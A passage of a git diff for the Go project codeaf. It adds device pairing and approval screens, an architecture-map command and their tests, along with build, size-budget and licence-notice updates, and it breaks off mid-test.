diff --git a/.gitignore b/.gitignore index 120deb43b2..e033da45cb 100644 --- a/.gitignore +++ b/.gitignore @@ -41,3 +41,13 @@ internal/manual/pages.pack.gz .furrow/ bench/idle-surface/runs/ work/ + +# hosted relay dev install (wrangler, miniflare) +relay/hosted/node_modules +relay/hosted/.wrangler/ + +# External furrow profile measurements keep their build output inside this worktree. +.cargo-target/ + +# Native Windows test executables are local acceptance artifacts. +.wintest/ diff --git a/Makefile b/Makefile index c1a7810fd8..06f4f18c08 100644 --- a/Makefile +++ b/Makefile @@ -46,8 +46,9 @@ embed: manual-pack-law # ── the furrow that rides inside ──────────────────────────────────────────── # -# EVERY codeaf IS A codeaf WITH FURROW, so the build fetches furrow before it -# can produce one. This step downloads the release pinned in +# Unix builds carry furrow, so the build fetches it before producing codeaf. +# Windows embeds the native engine through the same artifact door. +# This step downloads the release pinned in # internal/furrowbin/pin.json for whatever platform is being built for, checks # it against the sha256 the pin names, keeps it in a gitignored third_party/ # cache, and stages it gzipped where go:embed picks it up. Six megabytes of @@ -60,7 +61,7 @@ embed: manual-pack-law # build that produced a codeaf without furrow inside it. # # On a machine with no network, point it at an artifact already on disk — the -# sha256 is checked either way, so this is an offline road and not a looser one: +# explicit artifact is a developer override; the normal fetch checks the pin: # # make furrow FURROW_ARTIFACT=~/.agentfield/bin/furrow # @@ -72,10 +73,22 @@ embed: manual-pack-law FURROW_GOOS := $(shell go env GOOS) FURROW_GOARCH := $(shell go env GOARCH) +# Normal builds fetch the pinned release. Explicit artifacts and external source +# checkouts are deliberate developer overrides, staged through the same door. +FURROW_SOURCE ?= +FURROW_SOURCE_TARGET = $(if $(CARGO_TARGET_DIR),$(CARGO_TARGET_DIR),$(FURROW_SOURCE)/target) + furrow: +ifneq ($(strip $(FURROW_SOURCE)),) + cd "$(FURROW_SOURCE)" && cargo build --release --locked -p furrow-cli + @env -u GOOS -u GOARCH go run ./internal/furrowbin/cmd/fetch \ + -goos=$(FURROW_GOOS) -goarch=$(FURROW_GOARCH) \ + -built "$(FURROW_SOURCE_TARGET)/release/furrow" +else @env -u GOOS -u GOARCH go run ./internal/furrowbin/cmd/fetch \ -goos=$(FURROW_GOOS) -goarch=$(FURROW_GOARCH) \ - $(if $(FURROW_ARTIFACT),-from "$(FURROW_ARTIFACT)") + $(if $(FURROW_ARTIFACT),-built "$(FURROW_ARTIFACT)") +endif # The symbol table and DWARF are a third of the shipped binary and nothing at # runtime reads them. Stripping costs symbolized panic traces, which is exactly diff --git a/PERF.md b/PERF.md index 3f1a21a274..2e54b23da1 100644 --- a/PERF.md +++ b/PERF.md @@ -318,6 +318,35 @@ and its schema readers the ones sec brought — so the cost is pr-af's own code and prompts and the tables that code carries. The budget rises by exactly that cost, to 72,395,784. +It was reset a ninth time on 2026-10-21 for paired computers (Wormhole), +with the owner's approval to pay exactly the measured feature cost and keep +the existing byte headroom. Measured on linux/amd64 with Go 1.26.5, the packed +manuals and the stripped, trimmed flags of `make build`: + +| source and embedded engine | bytes | +| --- | --- | +| `origin/dev` at `428baa65f`, its own pinned furrow v0.1.0 | 70,959,369 | +| Wormhole with that same v0.1.0 artifact | 74,219,785 | +| Wormhole with the furrow v0.2.0 candidate | 74,375,433 | +| Go code, corpora and Go metadata growth | 3,260,416 | +| embedded engine growth, including alignment | 155,648 | +| total feature cost | 3,416,064 | + +The dev baseline was exported with `git archive origin/dev` and built with its +normal `make build`, which fetched its own pinned v0.1.0 artifact. The candidate +uses the supplied prebuilt v0.2.0 artifact through `FURROW_ARTIFACT`; no engine +was rebuilt. The gzipped engine grows from 3,613,636 to +3,767,522 bytes. Most of this bill is the Go integration: +cells and their executor, encrypted transfer and indexing, device pairing, +engine compatibility and the surface/manual doors. The engine keeps its fast +profile. + +The budget rises from 72,395,784 by exactly 3,416,064, to +75,811,848. The linux/amd64 headroom remains +1,436,415 bytes, exactly what the dev baseline had. +These measurements account for this platform's cost; release measurements on +other platforms remain part of their own build checks. + ## Adaptive run shutdown grace `Agent.Close` cancels adaptive runs and their name calls, then gives all accepted @@ -2965,6 +2994,41 @@ ordering guarantee, not a merge of caches written by separate processes. Restart fixtures drain their owned scheduled writes before discarding process memory. No timeout, response limit or request/retry budget changes. +## Local Worker conformance bounds + +The local Worker proof runs tracks and suites sequentially and defaults to two +Go test cases at a time; watch cases run alone so the thousand-socket case has +the proxy to itself. Its test-only HTTP transport admits two requests at once, +releasing the request slot when an upgraded watch's headers arrive. The canonical +WebSocket dialler and the signed HTTP client share this same bound. The shared +policy is `relay/hosted/test/proxy-env.sh`; the canonical assertions and their +internal concurrency stay unchanged. Authorization cases keep the normal +mailbox lifetime. A separate four-second mailbox service runs the canonical +expiry case, and a third service remains capped at two mailboxes for RelayFull. +The runner refuses a skipped expiry case, so these fixtures preserve all the +original assertions under local proxy load. + +The thousand-socket watch case uses an isolated local runtime with the same +limits. Its original cap, refusal and freed-place assertions all run. Stopping +that fixture after the watch suite prevents its bulk socket teardown from +stalling another identity's five-second dial on the shared development proxy. + +Each local Wrangler gets a private package copy under the run's temporary state. +Only that copy's development proxy retries the exact transport exception +`Network connection lost.`, at most twice. It clones the request so each attempt +keeps the same body and signed headers. An application response, including a 500 +with those words in its body, is never retried; EOF and other exceptions retain +their failures. Preparation refuses an unknown proxy structure. The production +Worker, installed dependencies and production clients are unchanged. + +Each retry is reported at the proxy itself, before HTTP can turn the lost +connection into an indistinguishable 500. The proof table counts retries per +suite and prints the total including startup; the operator smoke checks print +their own counts. Tests exercise the actual pinned proxy with scripted fetches +and an immediate timer, covering request bytes, unchanged application responses, +exact retry exhaustion and refusal of an unknown runtime. The Go request-bound +fixture uses held channels and cancellation rather than sleeps. + ## Navigation and first-message response Home paints its last completed reading and refreshes the world, memory ledger, diff --git a/SIZE-BUDGET b/SIZE-BUDGET index 0af14476a0..8bab5c3102 100644 --- a/SIZE-BUDGET +++ b/SIZE-BUDGET @@ -1 +1 @@ -72395784 +75811848 diff --git a/THIRD-PARTY-NOTICES.md b/THIRD-PARTY-NOTICES.md index fd9c7ca8cd..c45c71cd5b 100644 --- a/THIRD-PARTY-NOTICES.md +++ b/THIRD-PARTY-NOTICES.md @@ -2,6 +2,8 @@ This file covers every third-party Go module compiled into the codeaf binary, plus the two copied components carried in this repository's own tree. It ships beside the binaries in every release. Regenerate it with `go run ./cmd/codeaf-notices generate`. +The embedded furrow engine is a separate Apache-2.0 project from [Agent-Field/furrow](https://github.com/Agent-Field/furrow), copyright 2026 furrow contributors. Its source is maintained upstream; codeaf records its release and artifact hashes in `internal/furrowbin/pin.json`. See [furrow's licence](https://github.com/Agent-Field/furrow/blob/main/LICENSE). Explicit developer artifacts and `FURROW_SOURCE` checkouts replace that pinned engine. Native Windows builds omit it. + ## charm.land/bubbletea/v2 - Version: v2.0.8 @@ -877,6 +879,29 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` +## github.com/coder/websocket + +- Version: v1.8.15 +- Licence: not determined + +### LICENSE.txt + +```text +Copyright (c) 2025 Coder + +Permission to use, copy, modify, and distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. +``` + ## github.com/dlclark/regexp2/v2 - Version: v2.5.2 diff --git a/cmd/codeaf-notices/notices.go b/cmd/codeaf-notices/notices.go index a97c825179..f709aac6da 100644 --- a/cmd/codeaf-notices/notices.go +++ b/cmd/codeaf-notices/notices.go @@ -326,6 +326,7 @@ func renderNotices(components []component) []byte { var out bytes.Buffer out.WriteString("# Third-party notices\n\n") out.WriteString("This file covers every third-party Go module compiled into the codeaf binary, plus the two copied components carried in this repository's own tree. It ships beside the binaries in every release. Regenerate it with `go run ./cmd/codeaf-notices generate`.\n") + out.WriteString("\nThe embedded furrow engine is a separate Apache-2.0 project from [Agent-Field/furrow](https://github.com/Agent-Field/furrow), copyright 2026 furrow contributors. Its source is maintained upstream; codeaf records its release and artifact hashes in `internal/furrowbin/pin.json`. See [furrow's licence](https://github.com/Agent-Field/furrow/blob/main/LICENSE). Explicit developer artifacts and `FURROW_SOURCE` checkouts replace that pinned engine. Native Windows builds omit it.\n") for _, component := range components { fmt.Fprintf(&out, "\n## %s\n\n", component.Identifier) // THE THREE FACTS ARE A LIST because consecutive plain lines are one diff --git a/cmd/codeaf/approvalrecord.go b/cmd/codeaf/approvalrecord.go new file mode 100644 index 0000000000..9987f0f7c2 --- /dev/null +++ b/cmd/codeaf/approvalrecord.go @@ -0,0 +1,23 @@ +package main + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/pair" +) + +// withApprovalRecord moves the terminal's own-record write ahead of granting +// the request. The new device can read the grant immediately, before this +// terminal prints its receipt, so a write after approval was already too late. +func (d pairDoor) withApprovalRecord() pairDoor { + makeApprover, record := d.approver, d.ownRecord + d.approver = func(route pair.Mailbox) (pair.Approver, error) { + who, err := makeApprover(route) + if err == nil && record != nil { + who.BeforeApprove = func(ctx context.Context) error { return record(ctx, route) } + } + return who, err + } + d.ownRecord = nil + return d +} diff --git a/cmd/codeaf/approvals.go b/cmd/codeaf/approvals.go new file mode 100644 index 0000000000..267f558a4a --- /dev/null +++ b/cmd/codeaf/approvals.go @@ -0,0 +1,252 @@ +package main + +// The chat's door onto answering new devices and keeping the device list: what +// the approve screen and `/devices` reach through tui3.Approvals. It is the +// same Approver and signed directory `codeaf pair approve` uses, pointed at +// this computer's home, so the terminal and the app cannot disagree. + +import ( + "context" + "errors" + "sort" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// approvalsDoor is the surface's tui3.Approvals. +type approvalsDoor struct { + dir string + mailbox func(relayFlag string) (pair.Mailbox, error) + approver func(pair.Mailbox) (pair.Approver, error) + + mu sync.Mutex + asking map[string]pair.Asking // by code: what Pending read, for the answer +} + +var _ tui3.Approvals = (*approvalsDoor)(nil) + +func newApprovalsDoor(dir string) *approvalsDoor { + return &approvalsDoor{dir: dir, mailbox: pairMailbox, approver: linkApprover(dir), asking: map[string]pair.Asking{}} +} + +// toldLine is a refusal said in the sentence every sync surface uses for it, and +// it still is the refusal for errors.Is. +type toldLine struct { + line string + err error +} + +func (e toldLine) Error() string { return e.line } +func (e toldLine) Unwrap() error { return e.err } + +// told puts the relay's refusals (a stopped computer, a clock that is off) in +// the words a person reads, so a screen that lists devices says why it cannot, +// and the sentence is the one the chat list and the sync notice already say. +// Anything that is not a refusal is returned as it came. +func told(err error) error { + if refusal, ok := cellsync.RefusalOf(err); ok { + return toldLine{line: refusal.Say(err), err: err} + } + return err +} + +func (d *approvalsDoor) who() (pair.Approver, error) { + route, err := d.mailbox("") + if err != nil { + return pair.Approver{}, err + } + who, err := d.approver(route) + if err == nil { + who.BeforeApprove = func(ctx context.Context) error { return ownDeviceRecord(ctx, d.dir, route) } + } + return who, err +} + +func (d *approvalsDoor) Pending(ctx context.Context, typed string) (tui3.PendingDevice, error) { + ref, err := pair.ReadLink(typed) + if err != nil { + return tui3.PendingDevice{}, err + } + route, err := d.mailbox("") + if err != nil { + return tui3.PendingDevice{}, err + } + // A pasted self-hosted link must never send its code to the current + // service when the two differ. The terminal's printed command names it. + if via := pair.LinkRelay(typed); via != "" && strings.TrimRight(via, "/") != strings.TrimRight(route.URL, "/") { + return tui3.PendingDevice{}, errors.New("this pairing link uses another sync address — approve it in a terminal with the command shown on the new device") + } + who, err := d.approver(route) + if err != nil { + return tui3.PendingDevice{}, err + } + as, err := who.Look(ctx, ref) + if err != nil { + return tui3.PendingDevice{}, told(err) + } + d.remember(as) + return pendingOf(as), nil +} + +func pendingOf(as pair.Asking) tui3.PendingDevice { + return tui3.PendingDevice{ + Code: as.Ref.Code, Device: as.DeviceID(), Name: as.Name, Platform: as.Platform, + Check: as.Check, RequestedAt: as.RequestedAt, ExpiresAt: as.ExpiresAt, + } +} + +func (d *approvalsDoor) remember(as pair.Asking) { + d.mu.Lock() + defer d.mu.Unlock() + d.asking[as.Ref.Code] = as +} + +func (d *approvalsDoor) recall(p tui3.PendingDevice) (pair.Asking, error) { + d.mu.Lock() + defer d.mu.Unlock() + as, ok := d.asking[p.Code] + if !ok { + return pair.Asking{}, pair.ErrLinkGone + } + return as, nil +} + +func (d *approvalsDoor) Approve(ctx context.Context, p tui3.PendingDevice) error { + return d.answer(p, func(who pair.Approver, as pair.Asking) error { + if err := who.Approve(ctx, as); err != nil { + return err + } + return identity.EndSolo(d.dir) + }) +} + +func (d *approvalsDoor) Deny(ctx context.Context, p tui3.PendingDevice) error { + return d.answer(p, func(who pair.Approver, as pair.Asking) error { return who.Deny(ctx, as) }) +} + +// answer runs one decision on the request Pending read, and forgets it after. +func (d *approvalsDoor) answer(p tui3.PendingDevice, decide func(pair.Approver, pair.Asking) error) error { + as, err := d.recall(p) + if err != nil { + return err + } + who, err := d.who() + if err != nil { + return err + } + if err := decide(who, as); err != nil { + return told(err) + } + d.forget(p.Code) + return nil +} + +func (d *approvalsDoor) forget(code string) { + d.mu.Lock() + defer d.mu.Unlock() + delete(d.asking, code) +} + +// home is this computer's signed directory, its identity and its device id. +func (d *approvalsDoor) home() (directory.Client, identity.Identity, string, error) { + route, err := d.mailbox("") + if err != nil { + return nil, identity.Identity{}, "", err + } + client, id, err := homeDirectory(d.dir, route) + if err != nil { + return nil, id, "", err + } + dev, err := identity.Device(d.dir) + return client, id, dev.ID(), err +} + +func (d *approvalsDoor) Devices(ctx context.Context) ([]tui3.DeviceRow, error) { + if syncsetup.Quiet(d.dir) { + return nil, nil + } + client, id, self, err := d.home() + if err != nil { + return nil, err + } + listing, err := client.List(ctx) + if err != nil { + return nil, told(err) + } + rows := rowsOf(listing, directory.MetadataKey(id.CellKey()), self) + if own, named := devname.Chosen(d.dir); named { + rows = withOwnName(rows, own) + } + return rows, nil +} + +// withOwnName puts this computer's own name on its own row. The directory holds +// the name this computer last managed to tell it, which is the old one for a +// person who renamed offline; the name kept here is the one they typed. +func withOwnName(rows []tui3.DeviceRow, own string) []tui3.DeviceRow { + for i := range rows { + if rows[i].Self { + rows[i].Name = own + } + } + return rows +} + +func rowsOf(l directory.Listing, key []byte, self string) []tui3.DeviceRow { + rows := make([]tui3.DeviceRow, 0, len(l.Devices)) + for id, dev := range l.Devices { + rows = append(rows, rowOf(id, dev, key, self)) + } + sort.Slice(rows, func(i, j int) bool { + return rows[i].Name < rows[j].Name || (rows[i].Name == rows[j].Name && rows[i].ID < rows[j].ID) + }) + return rows +} + +func rowOf(id string, dev directory.Device, key []byte, self string) tui3.DeviceRow { + row := tui3.DeviceRow{ID: id, Name: openName(key, dev.Name), Platform: dev.Platform, Self: id == self, Revoked: dev.Revoked} + if dev.LastSeen > 0 { + row.LastSeen = time.UnixMilli(dev.LastSeen) + } + return row +} + +// openName is a sealed name in words, and "a device" when it cannot be opened. +func openName(key []byte, sealed string) string { + if name, err := directory.OpenName(key, sealed); err == nil && strings.TrimSpace(name) != "" { + return devname.Shown(name) + } + return "a device" +} + +func (d *approvalsDoor) Revoke(ctx context.Context, id string) error { + client, _, _, err := d.home() + if err != nil { + return err + } + return told(client.Revoke(ctx, id)) +} + +func (d *approvalsDoor) DeviceName(sealed string) string { + id, err := identity.Load(d.dir) + if err != nil { + return "a new device" + } + return openName(directory.MetadataKey(id.CellKey()), sealed) +} + +// Rename names this computer. It is the door's one write of its own record: the +// same function `codeaf devices rename` runs, so the two cannot say different +// things. +func (d *approvalsDoor) Rename(ctx context.Context, typed string) (string, error) { + return renameThisDevice(ctx, d.dir, typed) +} diff --git a/cmd/codeaf/approvals_test.go b/cmd/codeaf/approvals_test.go new file mode 100644 index 0000000000..83fbc0419a --- /dev/null +++ b/cmd/codeaf/approvals_test.go @@ -0,0 +1,164 @@ +package main + +import ( + "context" + "net/http" + "regexp" + "runtime" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/pairbox" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// doorAt is the production Approvals door for one home of the rig. +func (r *pairRig) approvalsAt(home string) *approvalsDoor { + d := newApprovalsDoor(home) + d.mailbox = func(string) (pair.Mailbox, error) { + return pair.Mailbox{Box: pairbox.NewHTTP(r.url, &http.Client{Timeout: time.Minute}), URL: r.url, Host: "relay.test"}, nil + } + d.approver = linkApprover(home) + return d +} + +// enrol writes the first computer's own record, as its first sync does. +func (r *pairRig) enrol(t *testing.T, door *approvalsDoor, name string) { + t.Helper() + if _, err := devname.Set(door.dir, name); err != nil { + t.Fatal(err) + } + client, id, self, err := door.home() + if err != nil { + t.Fatal(err) + } + sealed, err := directory.SealName(directory.MetadataKey(id.CellKey()), name) + if err != nil { + t.Fatal(err) + } + dev := directory.Device{V: 1, Name: sealed, AddedBy: id.ID(), Platform: "linux"} + if err := client.PutDevice(context.Background(), self, dev); err != nil { + t.Fatal(err) + } +} + +// A link pasted on device A is read, approved through the door, and B joins; +// then the list names both, A is Self, and Revoke stops B. +func TestApprovalsDoorApprovesListsAndRevokes(t *testing.T) { + rig := newPairRig(t) + if _, err := devname.Set(rig.homeB, "laptop"); err != nil { + t.Fatal(err) + } + screen, done := rig.asking(t) + link := screen.waitFor(t, regexp.QuoteMeta(rig.url)+`/p/\S+#\S+`)[0] + door := rig.approvalsAt(rig.homeA) + ctx := context.Background() + rig.enrol(t, door, "this computer") + + p, err := door.Pending(ctx, link) + if err != nil { + t.Fatal(err) + } + if p.Name != "laptop" || p.Platform != runtime.GOOS || len(p.Check) != 4 || p.Device == "" { + t.Fatalf("pending = %+v", p) + } + if err := door.Approve(ctx, p); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + if first, _ := identity.Load(rig.homeA); first.ID() == "" { + t.Fatal("no identity") + } + + rows, err := door.Devices(ctx) + if err != nil || len(rows) != 2 { + t.Fatalf("devices = %+v, %v", rows, err) + } + var self, joined *tui3.DeviceRow + for i := range rows { + if rows[i].Self { + self = &rows[i] + } else { + joined = &rows[i] + } + } + if self == nil || joined == nil || joined.ID != p.Device || joined.Name != "laptop" || self.Name != "this computer" { + t.Fatalf("rows = %+v, want one self and the joined %s", rows, p.Device) + } + if err := door.Revoke(ctx, p.Device); err != nil { + t.Fatal(err) + } + rows, _ = door.Devices(ctx) + for _, row := range rows { + if row.ID == p.Device && !row.Revoked { + t.Fatalf("revoked device still listed in: %+v", row) + } + } +} + +// Deny turns the asker away, and a decided request cannot be answered again. +func TestApprovalsDoorDeny(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + link := screen.waitFor(t, regexp.QuoteMeta(rig.url)+`/p/\S+#\S+`)[0] + door := rig.approvalsAt(rig.homeA) + p, err := door.Pending(context.Background(), link) + if err != nil { + t.Fatal(err) + } + if err := door.Deny(context.Background(), p); err != nil { + t.Fatal(err) + } + if err := <-done; err == nil { + t.Fatal("the new device was let in after a deny") + } + if err := door.Approve(context.Background(), p); err == nil { + t.Fatal("answered twice") + } +} + +func TestApprovalsDoorRefusesAWrongLink(t *testing.T) { + rig := newPairRig(t) + if _, err := rig.approvalsAt(rig.homeA).Pending(context.Background(), "nope"); err == nil { + t.Fatal("a bad link was read") + } +} + +// A computer that another of the person's computers stopped is told so, in the +// one sentence every sync surface uses, by the screens that list devices. +func TestApprovalsDoorTellsAStoppedComputerItWasStopped(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + link := screen.waitFor(t, regexp.QuoteMeta(rig.url)+`/p/\S+#\S+`)[0] + door := rig.approvalsAt(rig.homeA) + ctx := context.Background() + rig.enrol(t, door, "this computer") + p, err := door.Pending(ctx, link) + if err != nil { + t.Fatal(err) + } + if err := door.Approve(ctx, p); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + if err := door.Revoke(ctx, p.Device); err != nil { + t.Fatal(err) + } + + stopped := rig.approvalsAt(rig.homeB) + if _, err := stopped.Devices(ctx); err == nil || err.Error() != chatlist.Removed { + t.Fatalf("the stopped computer's device list said %v, want %q", err, chatlist.Removed) + } + if err := stopped.Revoke(ctx, p.Device); err == nil || err.Error() != chatlist.Removed { + t.Fatalf("the stopped computer's revoke said %v, want %q", err, chatlist.Removed) + } +} diff --git a/cmd/codeaf/atlas.go b/cmd/codeaf/atlas.go new file mode 100644 index 0000000000..794b9c4420 --- /dev/null +++ b/cmd/codeaf/atlas.go @@ -0,0 +1,49 @@ +package main + +import ( + "fmt" + + "github.com/Agent-Field/codeaf/internal/atlas" +) + +// runAtlas opens the architecture map: the two-computer work — pairing, +// devices, cells, sync and the furrow engine — drawn as boxes and arrows a +// person can drag, open and step through (internal/atlas). It reads nothing +// and changes nothing; it is a picture of the code, and internal/atlas holds +// the only version of it. +// +// `codeaf atlas pairing` opens that map. Bare `codeaf atlas` shows the +// picker — one row per registered map — and enter opens the one the cursor +// is on. A name that is not in the registry refuses with the registry's own +// sentence, which names what was available instead. +func runAtlas(args []string) error { + flags := commandFlags("atlas") + if err := parseCommandFlags(flags, args); err != nil { + return err + } + switch flags.NArg() { + case 0: + mp, err := atlas.Pick() + if err != nil { + return err + } + if mp == nil { + // A person who left the picker asked for nothing; that is not a + // failure, and the shell gets its exit 0. + return nil + } + // It draws one screen and waits on a person, like the chat surface — the + // same scheduler and heap bargain, from the same dispatch seam. + tuneForTheSurface() + return atlas.RunMap(mp) + case 1: + mp, ok := atlas.ByName(flags.Arg(0)) + if !ok { + return fmt.Errorf("%s", atlas.NoMap(flags.Arg(0))) + } + tuneForTheSurface() + return atlas.RunMap(mp) + default: + return fmt.Errorf("usage: codeaf atlas [map]") + } +} diff --git a/cmd/codeaf/atlas_test.go b/cmd/codeaf/atlas_test.go new file mode 100644 index 0000000000..652fa25885 --- /dev/null +++ b/cmd/codeaf/atlas_test.go @@ -0,0 +1,39 @@ +package main + +import ( + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/atlas" +) + +// AN UNKNOWN NAME REFUSES, naming what was asked and what the registry holds +// instead (atlas.NoMap), and the refusal is the error the exit carries — +// `codeaf atlas nope` leaves non-zero with it on stderr. Opening a real map +// needs a terminal, so the door it waits behind is the pty run in the verify +// steps; what a unit test can hold is the registry's answer. +func TestAtlasUnknownNameRefusesWithTheRegistryLine(t *testing.T) { + err := runAtlas([]string{"nope"}) + if err == nil { + t.Fatal("an unknown name opened nothing and refused nothing") + } + if !strings.Contains(err.Error(), atlas.NoMap("nope")) { + t.Fatalf("the refusal is not the registry's sentence: %v", err) + } + if !strings.Contains(err.Error(), `no map "nope"`) { + t.Fatalf("the refusal does not name what was asked: %v", err) + } + for _, mp := range atlas.Maps { + if !strings.Contains(err.Error(), mp.Name) { + t.Fatalf("the refusal does not name %q: %v", mp.Name, err) + } + } +} + +// TOO MANY WORDS IS A USAGE LINE, not a map name strung together. +func TestAtlasTooManyWordsIsUsage(t *testing.T) { + err := runAtlas([]string{"pairing", "pairing"}) + if err == nil || !strings.Contains(err.Error(), "usage: codeaf atlas [map]") { + t.Fatalf("two names gave %v, want the usage line", err) + } +} diff --git a/cmd/codeaf/beltdoors_test.go b/cmd/codeaf/beltdoors_test.go index db2c4139db..76745d0592 100644 --- a/cmd/codeaf/beltdoors_test.go +++ b/cmd/codeaf/beltdoors_test.go @@ -27,7 +27,8 @@ import ( // a command that scrolled off a person's screen. // Part A's terminal connect door adds its two required forms and descriptions. // The cap moves by exactly those seven lines; unrelated help growth still fails. -const helpLineCap = 117 +// The pairing door adds its two forms and their descriptions, four lines more. +const helpLineCap = 121 // doorsOffThePage are the command words main.go dispatches that `codeaf --help` // deliberately does NOT name, so the check below does not demand a line for @@ -39,11 +40,13 @@ const helpLineCap = 117 // - `tick` and `wake` do nothing: they are kept only for the // operating-system timers an older build installed, which run them until // this build removes them (main.go, wake.go). +// - `cell`, `identity` and `relay` are the cell, identity and relay doors +// documented in the terminal and pairing manuals. // - `show` and `revise` are the old top-level spellings of `plan show` and // `plan revise`; the page names the commands they became. // - `help` is the alias for `--help` itself. var doorsOffThePage = map[string]bool{ - "engine": true, "tick": true, "clock": true, "wake": true, "show": true, "revise": true, "help": true, + "cell": true, "identity": true, "relay": true, "engine": true, "tick": true, "clock": true, "wake": true, "show": true, "revise": true, "help": true, } // THE FIRST GESTURE ON AN UNFAMILIAR DOOR IS `-h`, and it must not be a diff --git a/cmd/codeaf/c10_selfhost_pair_test.go b/cmd/codeaf/c10_selfhost_pair_test.go new file mode 100644 index 0000000000..3c6ed7db89 --- /dev/null +++ b/cmd/codeaf/c10_selfhost_pair_test.go @@ -0,0 +1,74 @@ +package main + +import ( + "context" + "io" + "net/http" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// C1 and C10 keep the real terminal invitation, browser page and approval on +// the selected self-hosted service, without printing the hosted page address. +func TestC10SelfHostedTerminalPairingUsesItsOwnPage(t *testing.T) { + rig := newPairRig(t) + t.Setenv("CODEAF_SYNC_URL", rig.url) + screen := &pairScreenText{} + asker := rig.door(rig.homeB, strings.NewReader(""), screen) + asker.mailbox = pairMailbox + ctx, stop := context.WithCancel(t.Context()) + defer stop() + done := make(chan error, 1) + go func() { done <- asker.run(ctx, nil) }() + link := screen.waitFor(t, `http://127\.0\.0\.1:\d+/p/\S+#\S+`)[0] + if strings.Contains(screen.String(), pair.LinkOrigin) { + t.Fatalf("custom invitation names the hosted page: %s", screen.String()) + } + res, err := http.Get(link) + if err != nil { + t.Fatal(err) + } + page, err := io.ReadAll(res.Body) + res.Body.Close() + if err != nil || res.StatusCode != http.StatusOK || !strings.Contains(string(page), " --via ") { + t.Fatalf("custom invitation has no working page: %s %s %v", res.Status, page, err) + } + out := &pairScreenText{} + approver := rig.door(rig.homeA, strings.NewReader("a\n"), out) + approveAt := pairMailbox + approver.mailbox = func(url string) (pair.Mailbox, error) { + if url != rig.url { + t.Errorf("approval selected %q instead of %q", url, rig.url) + } + return approveAt(url) + } + if err := approver.run(ctx, []string{"approve", link}); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + a, errA := identity.Load(rig.homeA) + b, errB := identity.Load(rig.homeB) + if errA != nil || errB != nil || a.ID() != b.ID() { + t.Fatalf("custom page did not pair the homes: %v %v", errA, errB) + } +} + +// C10 refuses a pasted link for a different service before looking up its code +// on the configured service; the printed terminal command remains available. +func TestC10ChatDoesNotSendCustomPairingCodeToAnotherService(t *testing.T) { + door := newApprovalsDoor(t.TempDir()) + door.mailbox = func(string) (pair.Mailbox, error) { return pair.Mailbox{URL: "https://configured.example"}, nil } + door.approver = func(pair.Mailbox) (pair.Approver, error) { + t.Fatal("custom pairing code reached another service") + return pair.Approver{}, nil + } + _, err := door.Pending(t.Context(), "https://chosen.example/p/k7m2q9xd#AAAAAAAAAAAAAAAAAAAAAA") + if err == nil || !strings.Contains(err.Error(), "approve it in a terminal") { + t.Fatalf("different service link was not explained: %v", err) + } +} diff --git a/cmd/codeaf/c10_sync_host_test.go b/cmd/codeaf/c10_sync_host_test.go new file mode 100644 index 0000000000..42c99d3e03 --- /dev/null +++ b/cmd/codeaf/c10_sync_host_test.go @@ -0,0 +1,103 @@ +package main + +import ( + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/enginehost" + "github.com/Agent-Field/codeaf/internal/remote" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +// C10 requires a changed relay setting to be visible even to a launch finding a real existing host. +func TestC10SyncOffMustBeSeenByExistingEngineHost(t *testing.T) { + shortEngineHome(t) + workspace := t.TempDir() + t.Setenv("CODEAF_SYNC_URL", "http://127.0.0.1:41001") + child := environmentChild(t, workspace, os.Getenv(config.APIKeyEnv)) + _ = child + waitEnvironmentHost(t, workspace, func(self remote.HostSelf) bool { return !self.Busy }) + t.Setenv("CODEAF_SYNC_URL", "off") + if !enginehost.EnvironmentDiffers(workspace) { + t.Fatal("real engine host retains its old sync URL, but the new off launch sees no environment difference and reuses it") + } +} + +// C10 also applies during an upgrade: an older host with no sync fingerprint +// must not keep its old relay when this terminal explicitly chooses off. +func TestC10SyncOffDoesNotReuseAHostWithoutSyncFingerprint(t *testing.T) { + for _, busy := range []bool{false, true} { + t.Run(fmt.Sprintf("busy=%t", busy), func(t *testing.T) { + workspace, _ := environmentTestHome(t) + t.Setenv("CODEAF_SYNC_URL", "http://127.0.0.1:41001") + environmentChild(t, workspace, os.Getenv(config.APIKeyEnv)) + if busy { + environmentWindow(t, workspace, "") + } + waitEnvironmentHost(t, workspace, func(self remote.HostSelf) bool { return 